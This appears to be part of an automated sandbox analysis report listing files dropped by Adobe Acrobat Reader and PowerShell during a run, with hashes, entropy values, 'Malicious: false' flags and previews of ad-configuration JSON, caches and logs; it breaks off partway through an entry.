C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3189336709355794
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfYdPeUkwRe9:YvXKXESJi9VyUitoCGg8Ukee9
MD5:	B0505B017C8DDA3122FB9A6031426993
SHA1:	5B9009F5477510057158727E0C0527315C80432A
SHA-256:	0BC7542FA3006D2785AB0C880D0A2E8218C1A3E57625E0CDB906558FEE0CEEAC
SHA-512:	DC8BDB7D231A1772DBD6378185CFA3BDA91ED9B90CF733500DF8EC9D06C805B99A7623948619E8D64CE097D44DA818C92D60B6DAB6F4CEAF3590E31ADE725C0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.305317383035488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJf+dPeUkwRe9:YvXKXESJi9VyUitoCG28Ukee9
MD5:	A2F04A48038BE5B5BCB1CAFB1B537829
SHA1:	58133CC2D1F5E245F431B117D6A27BBC8495CBEA
SHA-256:	0F8E33C1285A83EC208664D286577FE93A4A36FA5B808CFE9C3464D7D2FC5CC3
SHA-512:	101A44A278F5A2304BE637379CA9EB757CA42BA6B7CE6DA12C4C971D8900429E430D01144CB6367AE7FAB8501B95B331D85620481559DAC4B76BE4F43877FDDC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.302350640286862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfbPtdPeUkwRe9:YvXKXESJi9VyUitoCGDV8Ukee9
MD5:	60D77C9C299BEE510C94D0F26240190D
SHA1:	FD20B92BAE86E52C7BBB19635618B8E9C52B3C13
SHA-256:	DD987AAF802F991F1A0B353D6E89B60E74B89AF291B6B027FADB30E3DFDE291C
SHA-512:	62BD8D28C31F3AB58817F3879EA942ACBCE1E301CC570936D4CA879AF30615ED8F6C05FBE4386F29727AB812913182C00AC190C8DBF51109381138DC6793FEEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.304581795437472
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJf21rPeUkwRe9:YvXKXESJi9VyUitoCG+16Ukee9
MD5:	5C067BA1C707CE342E48A74B14A49E1E
SHA1:	44951FA1B33D56853D5615E76893A659199DE6BF
SHA-256:	90A8CCBF6AACD864ED1285BBDB30EFE90BA98C6CA940BE2E8F09137F59E904FE
SHA-512:	27828F4D83FCF70189AC887EDFF9E467644746D0E5BBB53B0569F135C25EC76D89152ED2F026076E473C871C1797C1A229A70251BC3B1FC0924B22E9DF1CDEDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669161677017165
Encrypted:	false
SSDEEP:	24:Yv6XGjC6namXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSr:YvE6/BgkDMUJUAh8cvMr
MD5:	F9FA1532C8B516E8BE28D54D579C08BB
SHA1:	5A7D8C06A9030C2726434DE36C7B92904A764DDA
SHA-256:	73BAFF56F346A09B83692C7249F40B0C8E0896D9568813B6B88D3AA9EEB9D268
SHA-512:	EFF5EA737A3F9692EE9334B913B636EDDCBF60CC2F0916ABFAB3953B38B7C202F50EE142FDA22E79BAC35941D3F4309108B63D973B6DC237422867E64B6AA81C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.281976912153246
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJfshHHrPeUkwRe9:YvXKXESJi9VyUitoCGUUUkee9
MD5:	FD7432C55EDF9255514DDFEDA4FBCCC5
SHA1:	3FE82FE472A7471C07855A7F41914EF11EF6F410
SHA-256:	FC938C6CE1DEB7C94C24141FB60C393C3A877C19C19C61D5A1F5BD3967FFD974
SHA-512:	232F5F10A4137507EADB58698D462BB2767FDD01C0FCFD2780A7C7E7C34397FC55CEB876DBC7DF6C503717125483078D642EC02FEE49E6F0ADEA1EECBAA13BDC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.286482150069736
Encrypted:	false
SSDEEP:	6:YEQXJ2HXE0Vd7Ji9VyUib5Glvp0YxoAvJTqgFCrPeUkwRe9:YvXKXESJi9VyUitoCGTq16Ukee9
MD5:	5527BE52B6055D817F40D06A44E39D4F
SHA1:	E8BC7FA7DD822360414A88105D4835EB50B6A37A
SHA-256:	5036081C34058FE962DF887DB1EE2AA060CF3FA339F209540DED59522AEAEFB5
SHA-512:	BB31CA4017552B58DB5B955D131B49DB35561E3FE1EB5136E2E2CB52D921BFC41552D0C908CDBEE4565A4C48FCD47FE19B4EDE1D285BD0934E0823C38AFF70AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f08abda4-e064-4477-b58b-03a5645c7296","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736734678871,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141287342534111
Encrypted:	false
SSDEEP:	24:Yfq1/a1AaybNaywyHMnVzwbu0Fjrrnxj0S3G72wfIAp2LSpCo8gO6fpk52Bz9F9L:YfqKyrwMmVEJP18vIwLL8gOeCQ9FDF
MD5:	956AC3E19D8FE686D54600D49A0CB5A5
SHA1:	BB84D949F24819940F62C73EF8BF87AE79DF1B00
SHA-256:	8C63B5FE0A471316135605B7BFE9F8B4BDAE07C77EBF72C0457FF74EFDE685AB
SHA-512:	C1525EAABA523A57EC9427327E26BFEB6F85754F3EDBB28910B09E07D3289A312E4B44B91789BA81F9163C8C7CF3FF9B493657C80036042100257D2256D84311
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ba707f8544858d6605a0f6444390fd85","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736561128000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9eb3f2bc8086fb8a283a6c5a7dc67f4f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736561128000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a5c223a215d752ee42cc4fe9bff8af29","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736561128000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fbed1698594b3777263fa332108107fb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736561128000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"659c02c724a9b71620ce7163ce4833a7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736561128000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2dac706c932f6e131a360d8602bb7939","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4573428264032287
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2oLviuFuI7PZ:/VmsrhoGgt5Zgup7h
MD5:	25F8405EFD5D9EFFC0801A92EF4A6AB3
SHA1:	6F85A4644C8A4192DB5239B54B9F638F5D971CC7
SHA-256:	D39EAF05017F9D8AF87C2EDA89BABF0FA5BE91C96A2D5F2A3DF0BFBE3B7B58DB
SHA-512:	F02E231AAD26DFA405C942B123B553098439A1B5FA67621036094E41D86E1BE5B8DB64E8E1DF10E58D8D512EF8EA2218468F081520877106655873E978F74CCA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.961937876874814
Encrypted:	false
SSDEEP:	48:7MuhoGgpP5ZgrI2HLviuFuI7PehS3qVl2GL7msX:73hoGgt5Zgrp72hS3aVmsX
MD5:	AC60584F2EAD05E56A05963FF42FE823
SHA1:	1E958BCADFE87813AC1840AD0D339345490BBAEE
SHA-256:	09B87CC5FB048DFF8C085598B7427D5B82DDC9B6F10B86E88ABE35200EA1D3EA
SHA-512:	AF572B0C47CD9B4DAD04FF03DB7FB4B7CF0E658CE63984424808F5D1BD24AB56679EC461F95D61C95F14506FC8E4E9B3CF1E8C863942CFB5A079BC76B732A49C
Malicious:	false
Preview:	.... .c.....qBk...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgKNRz+aNfUO4rb5JudgWmE5vUzYyu:6a6TZ44ADEKNvBNwb5od94K
MD5:	356F88AA9DEF365DBA398B4D10E6CEC7
SHA1:	5E76C20F6B850F46C9E33E58FC20E63297FA0017
SHA-256:	89021B855A3492E6A09393BC8B9D79EBD7C81FD421C11E5CA855379C5C2C13AA
SHA-512:	18798976586B0510F75F120FB975D4B454986DD2155F8F4A0B9CA8C6F44ED3826AB4B3F248D438F93FD3E4F548A28ADB04446DE6F8D7BE08456B4E000B9B738D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI7dc9b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.48840356430952
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsolN1m9:Qw946cPbiOxDlbYnuRK+bWf1I
MD5:	44581CC591F91B9C77CF9FF87A44F461
SHA1:	27F7A25999A18EDC5D019E4FEAD1E09723714305
SHA-256:	0BF1B21AACF69D18C804D606B54D72C97D091E57A309D25AFB3A4722E3F65034
SHA-512:	5CA400D0BBB2E9F1F8DDDF5757CD878404A69AE36F36EA4FE2FC106A9D4DBF9FCCDBEC2EF640AD153F609576F6CA346DD19E3B1AF3244DC219CAE4ED6F67A266
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.0.5.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0lppnxvw.up4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_njrqpb3n.wqa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A992ozcj_8kzb4y_188.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-05-22-322.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.2964388485217615
Encrypted:	false
SSDEEP:	384:ef3YRYyYJY7YQZ7DZYZZZ/ZoZGZjTST+yYyUdRdFdedDd/JCMICVCNuYucuG9g+M:e/uTmCPtDGD5ekh+CHJLnUh73IY2zT5Q
MD5:	AEDB047E547370BA1A978907D8AA4D44
SHA1:	F7F8B63CC8447779272259EFFD4ED1981490701C
SHA-256:	33521EBD90D875033F3A25B5D6D857EB146EE2D7FF77051BEEB7D9E53A02CB83
SHA-512:	A01D96C6C4DE5F642A82BAB81855D8C5EF047CBB5C68DCEA98749C8252B40050BF038E8690ADD842C02BE8D94404AC13BE3F3C2D1D4F4DB3D4668809DDC1FA7D
Malicious:	false
Preview:	SessionID=a1de1ae8-3031-4b33-ad1e-83b7410b74a6.1736561122335 Timestamp=2025-01-10T21:05:22:335-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a1de1ae8-3031-4b33-ad1e-83b7410b74a6.1736561122335 Timestamp=2025-01-10T21:05:22:336-0500 ThreadID=7416 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a1de1ae8-3031-4b33-ad1e-83b7410b74a6.1736561122335 Timestamp=2025-01-10T21:05:22:336-0500 ThreadID=7416 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a1de1ae8-3031-4b33-ad1e-83b7410b74a6.1736561122335 Timestamp=2025-01-10T21:05:22:336-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a1de1ae8-3031-4b33-ad1e-83b7410b74a6.1736561122335 Timestamp=2025-01-10T21:05:22:336-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.39353321224259
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cbxOcbsIjpcbR:2PLH8FVfpBJnYl9j2
MD5:	6FA4726C308873B252C207DF2DAEE337
SHA1:	D076C04B91B2DDB0B73C870501A3437A12C1D53D
SHA-256:	8FCACE559B418E6106E39B0C4F7BB808443D344C4FD6E7D1BD4B69771FA1C454
SHA-512:	E32A70FC820F2B2E5E51E44D671A114A1D2F2141B60E05C05F3295E5FABA9BCD45B8DD4E836633923A2042B4A7415E85D61E5E5B8D895F65DDD37A395001C465
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\191407d0-3e37-4186-9a4a-418bd3e322df.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
